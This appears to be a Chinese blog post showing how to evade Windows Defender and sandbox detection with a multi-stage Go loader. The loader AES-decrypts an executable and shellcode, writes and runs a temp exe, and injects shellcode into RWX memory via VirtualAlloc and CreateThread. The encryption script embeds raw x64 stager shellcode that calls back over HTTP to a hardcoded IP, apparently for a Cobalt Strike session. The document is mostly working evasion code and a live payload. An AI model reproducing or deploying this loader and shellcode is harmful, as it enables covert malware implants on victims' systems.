先看一下效果
微步云沙箱检测
文件目录,运行main.exe
cs上线
这里window denfender一直开启
思路:
分为三个文件:
- main.go
- x1.bin(加密后的exe文件)
- x2.bin(加密后的shellcode文件)
启动main.go -》 加载x1.bin -》加载x2.bin
代码:
package main
import (
"fmt"
"io/ioutil"
"nodie/utils"
"os"
"os/exec"
)
func ReadOmain()(buf []byte){
byteSlice, err := ioutil.ReadFile("./omain.exe.bin")
if err != nil {
fmt.Println("无法读取文件:", err)
return
}
old := utils.KeyOut(string(byteSlice[:32]))
buf,_=utils.DecryptAES(byteSlice[32:],[]byte(old))
return
}
func main() {
buf:=ReadOmain()
// i := interp.New(interp.Options{})
// _, err := i.Eval(string(buf))
// if err != nil {
// fmt.Printf("无法执行解密后的代码:%v\n", err)
// return
// }
// 创建临时文件
tmpFile, err := ioutil.TempFile("", "temp*.exe") //改为go
if err != nil {
fmt.Printf("无法创建临时文件:%v\n", err)
return
}
defer os.Remove(tmpFile.Name()) // 删除临时文件
// 将解密后的代码写入临时文件
if _, err := tmpFile.Write(buf); err != nil {
fmt.Printf("无法写入临时文件:%v\n", err)
return
}
// 关闭临时文件,以便后续能够执行它
if err := tmpFile.Close(); err != nil {
fmt.Printf("无法关闭临时文件:%v\n", err)
return
}
// 执行临时文件
// cmd := exec.Command("go", "run", tmpFile.Name())
cmd := exec.Command(tmpFile.Name())
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
err = cmd.Run()
if err != nil {
fmt.Printf("无法执行临时文件:%v\n", err)
}
}
package main
import (
"bytes"
"crypto/aes"
"crypto/cipher"
"encoding/hex"
"errors"
"fmt"
"io/ioutil"
"syscall"
"unsafe"
)
const (
a1 = 0x1000 // Mem_Commit
a2 = 0x2000 // Mem_Reserve
a3 = 0x40 // Page_Execute_ReadWrite
)
var (
Kernel32, _ = syscall.LoadLibrary("Kernel32.dll")
c2, _ = syscall.GetProcAddress(Kernel32, "CreateThread")
s1, _ = syscall.GetProcAddress(Kernel32, "VirtualAlloc")
c3, _ = syscall.GetProcAddress(Kernel32, "RtlMoveMemory")
x1,_ = syscall.GetProcAddress(Kernel32, "WaitForSingleObject")
c1 = syscall.SyscallN
)
func ReadBin()(buf []byte){
byteSlice, err := ioutil.ReadFile("./output.bin")
if err != nil {
fmt.Println("无法读取文件:", err)
return
}
old := KeyOut(string(byteSlice[:32]))
buf,_=DecryptAES(byteSlice[32:],[]byte(old))
return
}
func main() {
buf:=ReadBin()
lpMem, _, _ := c1(s1, uintptr(0), uintptr(len(buf)), a1|a2, a3)
_, _, _ = c1(c3, lpMem, uintptr(unsafe.Pointer(&buf[0])), uintptr(len(buf)))
hThread, _, _ := c1(c2, 0, 0, lpMem, 0, 0, 0)
_,_,_ = c1(x1,hThread,uintptr(0xffffffff))
_ = syscall.FreeLibrary(Kernel32)
}
func KeyOut(hexKey string) string {
// 构造字符替换表
replacementMap := map[rune]rune{
'f': '0',
'e': '1',
'd': '2',
'c': '3',
'b': '4',
'a': '5',
'9': '6',
'8': '7',
'7': '8',
'6': '9',
'5': 'a',
'4': 'b',
'3': 'c',
'2': 'd',
'1': 'e',
'0': 'f',
}
// 转换为字节数组并替换字符
keyBytes, err := hex.DecodeString(hexKey)
if err != nil {
panic(err)
}
var buffer bytes.Buffer
for _, b := range keyBytes {
hexStr := hex.EncodeToString([]byte{b})
rune1 := rune(hexStr[0])
rune2 := rune(hexStr[1])
if original1, ok := replacementMap[rune1]; ok {
buffer.WriteRune(original1)
} else {
buffer.WriteRune(rune1)
}
if original2, ok := replacementMap[rune2]; ok {
buffer.WriteRune(original2)
} else {
buffer.WriteRune(rune2)
}
}
replacedHexKey := buffer.String()
return replacedHexKey
}
// DecryptAES decrypts ciphertext using AES-256-CBC with the given key
func DecryptAES(ciphertext []byte, key []byte) ([]byte, error) {
if len(ciphertext) < aes.BlockSize*2 {
return nil, errors.New("invalid ciphertext")
}
// extract IV from the beginning of the ciphertext
iv := ciphertext[:aes.BlockSize]
ciphertext = ciphertext[aes.BlockSize:]
// create AES cipher block
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
// create CBC mode decrypter
cbc := cipher.NewCBCDecrypter(block, iv)
// decrypt ciphertext
decryptedPlaintext := make([]byte, len(ciphertext))
cbc.CryptBlocks(decryptedPlaintext, ciphertext)
// unpad plaintext by removing PKCS#7 padding
plaintext, err := pkcs7Unpad(decryptedPlaintext, aes.BlockSize)
if err != nil {
return nil, err
}
return plaintext, nil
}
func pkcs7Unpad(data []byte, blockSize int) ([]byte, error) {
length := len(data)
if length == 0 {
return nil, errors.New("empty data")
}
if length%blockSize != 0 {
return nil, errors.New("invalid data length")
}
padding := int(data[length-1])
if padding > blockSize || padding == 0 {
return nil, errors.New("invalid padding")
}
for i := 1; i <= padding; i++ {
if data[length-i] != byte(padding) {
return nil, errors.New("invalid padding")
}
}
return data[:length-padding], nil
}
package main
import (
"bytes"
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"encoding/hex"
"errors"
"fmt"
"io/ioutil"
)
func main(){
test_jiami_main()
test_jiami()
test_jiami_main_exe()
}
func test_jiami_main_exe(){
oldKey,newKey:=OutKey()
fmt.Println(string(oldKey),string(newKey))
old2 := KeyOut(string(newKey))
fmt.Println(old2)
filePath1 := "../omain.exe"
byteSlice1, err := ioutil.ReadFile(filePath1)
if err != nil {
fmt.Println("无法读取文件:", err)
return
}
newtext,_ :=EncryptAES(byteSlice1,[]byte(oldKey))
fmt.Println(newtext)
var outtext []byte
outtext =append(outtext,[]byte(newKey)... )
outtext =append(outtext,newtext... )
err = ioutil.WriteFile("../omain.exe.bin", outtext, 0644)
if err != nil {
fmt.Println("无法写入文件:", err)
return
}
fmt.Println("字节切片已成功写入文件.")
filePath := "../omain.exe.bin"
byteSlice, err := ioutil.ReadFile(filePath)
if err != nil {
fmt.Println("无法读取文件:", err)
return
}
fmt.Printf("读取的字节切片:%#v\n", byteSlice)
old3 := KeyOut(string(byteSlice[:32]))
Detext,_:=DecryptAES(byteSlice[32:],[]byte(old3))
fmt.Println(string(Detext))
}
func test_jiami_main(){
oldKey,newKey:=OutKey()
fmt.Println(string(oldKey),string(newKey))
old2 := KeyOut(string(newKey))
fmt.Println(old2)
filePath1 := "../main/omain.go"
byteSlice1, err := ioutil.ReadFile(filePath1)
if err != nil {
fmt.Println("无法读取文件:", err)
return
}
newtext,_ :=EncryptAES(byteSlice1,[]byte(oldKey))
fmt.Println(newtext)
var outtext []byte
outtext =append(outtext,[]byte(newKey)... )
outtext =append(outtext,newtext... )
err = ioutil.WriteFile("../omain.bin", outtext, 0644)
if err != nil {
fmt.Println("无法写入文件:", err)
return
}
fmt.Println("字节切片已成功写入文件.")
filePath := "../omain.bin"
byteSlice, err := ioutil.ReadFile(filePath)
if err != nil {
fmt.Println("无法读取文件:", err)
return
}
fmt.Printf("读取的字节切片:%#v\n", byteSlice)
old3 := KeyOut(string(byteSlice[:32]))
Detext,_:=DecryptAES(byteSlice[32:],[]byte(old3))
fmt.Println(string(Detext))
}
func test_jiami(){
oldKey,newKey:=OutKey()
fmt.Println(string(oldKey),string(newKey))
old2 := KeyOut(string(newKey))
fmt.Println(old2)
text := "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\x50\x00\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x40\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x00\xe8\xa2\xff\xff\xff\x2f\x50\x39\x70\x64\x00\xd9\xf4\xa5\xc5\x19\x31\x0b\x1b\xfb\xd0\x80\xb3\xbc\x6b\xf5\xb0\x22\xf5\xf3\x0f\xbb\xaf\xb5\x8a\xc8\x2e\x4e\x3c\xa1\xee\xa5\xdf\x76\xa2\x00\xb9\xd1\x96\x56\x6b\x70\x96\x68\x59\xf0\x4a\x9c\xe9\xe2\x82\x09\xe5\xaa\x21\x3d\xb5\x89\xc6\xeb\x36\x7d\x5f\x4d\x04\xc7\x99\x4d\x69\x54\xe3\xe4\x1b\x5d\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x38\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x35\x2e\x31\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x34\x2e\x30\x3b\x20\x42\x54\x52\x53\x31\x32\x35\x35\x32\x36\x29\x0d\x0a\x00\x32\xaf\x6b\x3b\xf1\x4c\x21\x51\xeb\xf3\xcf\xd9\x4f\x0e\x9b\x5e\x1c\xaf\x5d\x46\xb0\x8f\x90\xa9\xd7\xc6\xe0\x20\x0d\xbc\x31\x0a\x12\xf5\xb9\x40\xc9\x57\x3e\x36\x8e\x0a\xeb\x0c\xf8\xc5\x2c\x0f\x15\xe7\x1d\xf3\xb3\xb1\x3c\x7d\x1c\xfe\x04\x24\x9e\xb6\xce\xf3\xca\x1d\x69\xcd\xba\xab\xbe\x57\x79\x73\x8e\xae\x6f\xbb\xef\xeb\x97\x40\x6e\x80\x23\x7d\xf3\x81\x1f\x81\x2e\xec\x2c\x96\xef\xd4\x2c\xdd\x0b\x12\xb9\xee\x31\x2d\xd9\x97\x84\x39\xfc\xc1\x4f\x56\x46\xbb\xb9\x5d\x67\x35\xcd\x0e\xdb\xa5\x9b\xe9\xee\xc3\xda\x06\x26\x5e\x77\x53\xfa\x29\xc3\x7e\x6a\xf6\xae\xf6\x04\x5f\x7f\x5c\xa6\x9c\xa8\x39\x7e\x44\x2c\x79\xda\x56\x6d\x97\xc5\xe9\x12\xae\xc2\x2b\x49\xec\x8f\x07\xfb\x55\x0c\x47\x01\x94\x68\xb2\x45\x40\xc1\xb4\xb7\x43\x49\x89\x45\x27\x41\x2b\xe0\x34\x8d\x86\x69\x4b\xfd\xb1\xa4\x2d\xf8\x7c\x24\x01\xd6\xdd\x6b\x55\x79\xfb\xeb\x60\xcf\x54\x4a\x7d\xef\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x32\x33\x31\x2e\x31\x33\x36\x00\x00\x01\x86\xa0"
newtext,_ :=EncryptAES([]byte(text),[]byte(oldKey))
fmt.Println(newtext)
var outtext []byte
outtext =append(outtext,[]byte(newKey)... )
outtext =append(outtext,newtext... )
err := ioutil.WriteFile("../os.bin", outtext, 0644)
if err != nil {
fmt.Println("无法写入文件:", err)
return
}
fmt.Println("字节切片已成功写入文件.")
filePath := "../os.bin"
byteSlice, err := ioutil.ReadFile(filePath)
if err != nil {
fmt.Println("无法读取文件:", err)
return
}
fmt.Printf("读取的字节切片:%#v\n", byteSlice)
old3 := KeyOut(string(byteSlice[:32]))
Detext,_:=DecryptAES(byteSlice[32:],[]byte(old3))
fmt.Println(string(Detext))
}
func OutKey() (oldKey string, newKey string) {
// 生成32字节的随机密钥
key := make([]byte, 16)
if _, err := rand.Read(key); err != nil {
panic(err)
}
oldKey = hex.EncodeToString(key)
// 转换为16进制字符串并替换字符
replacementMap := map[rune]rune{
'0': 'f',
'1': 'e',
'2': 'd',
'3': 'c',
'4': 'b',
'5': 'a',
'6': '9',
'7': '8',
'8': '7',
'9': '6',
'a': '5',
'b': '4',
'c': '3',
'd': '2',
'e': '1',
'f': '0',
}
var buffer bytes.Buffer
for _, r := range oldKey {
if original, ok := replacementMap[r]; ok {
buffer.WriteRune(original)
} else {
buffer.WriteRune(r)
}
}
newKey = buffer.String()
return
}
func KeyOut(hexKey string) string {
// 构造字符替换表
replacementMap := map[rune]rune{
'f': '0',
'e': '1',
'd': '2',
'c': '3',
'b': '4',
'a': '5',
'9': '6',
'8': '7',
'7': '8',
'6': '9',
'5': 'a',
'4': 'b',
'3': 'c',
'2': 'd',
'1': 'e',
'0': 'f',
}
// 转换为字节数组并替换字符
keyBytes, err := hex.DecodeString(hexKey)
if err != nil {
panic(err)
}
var buffer bytes.Buffer
for _, b := range keyBytes {
hexStr := hex.EncodeToString([]byte{b})
rune1 := rune(hexStr[0])
rune2 := rune(hexStr[1])
if original1, ok := replacementMap[rune1]; ok {
buffer.WriteRune(original1)
} else {
buffer.WriteRune(rune1)
}
if original2, ok := replacementMap[rune2]; ok {
buffer.WriteRune(original2)
} else {
buffer.WriteRune(rune2)
}
}
replacedHexKey := buffer.String()
return replacedHexKey
}
// EncryptAES encrypts plaintext using AES-256-CBC with the given key
func EncryptAES(plaintext []byte, key []byte) ([]byte, error) {
// create AES cipher block
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
// pad plaintext with PKCS#7 padding
paddedPlaintext := pkcs7Pad(plaintext, aes.BlockSize)
// generate random IV
iv := make([]byte, aes.BlockSize)
if _, err := rand.Read(iv); err != nil {
return nil, err
}
// create CBC mode encrypter
cbc := cipher.NewCBCEncrypter(block, iv)
// encrypt plaintext
ciphertext := make([]byte, len(paddedPlaintext))
cbc.CryptBlocks(ciphertext, paddedPlaintext)
// append IV to the beginning of the ciphertext
ciphertext = append(iv, ciphertext...)
return ciphertext, nil
}
// DecryptAES decrypts ciphertext using AES-256-CBC with the given key
func DecryptAES(ciphertext []byte, key []byte) ([]byte, error) {
if len(ciphertext) < aes.BlockSize*2 {
return nil, errors.New("invalid ciphertext")
}
// extract IV from the beginning of the ciphertext
iv := ciphertext[:aes.BlockSize]
ciphertext = ciphertext[aes.BlockSize:]
// create AES cipher block
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
// create CBC mode decrypter
cbc := cipher.NewCBCDecrypter(block, iv)
// decrypt ciphertext
decryptedPlaintext := make([]byte, len(ciphertext))
cbc.CryptBlocks(decryptedPlaintext, ciphertext)
// unpad plaintext by removing PKCS#7 padding
plaintext, err := pkcs7Unpad(decryptedPlaintext, aes.BlockSize)
if err != nil {
return nil, err
}
return plaintext, nil
}
func pkcs7Pad(data []byte, blockSize int) []byte {
padding := blockSize - len(data)%blockSize
padText := bytes.Repeat([]byte{byte(padding)}, padding)
return append(data, padText...)
}
func pkcs7Unpad(data []byte, blockSize int) ([]byte, error) {
length := len(data)
if length == 0 {
return nil, errors.New("empty data")
}
if length%blockSize != 0 {
return nil, errors.New("invalid data length")
}
padding := int(data[length-1])
if padding > blockSize || padding == 0 {
return nil, errors.New("invalid padding")
}
for i := 1; i <= padding; i++ {
if data[length-i] != byte(padding) {
return nil, errors.New("invalid padding")
}
}
return data[:length-padding], nil
}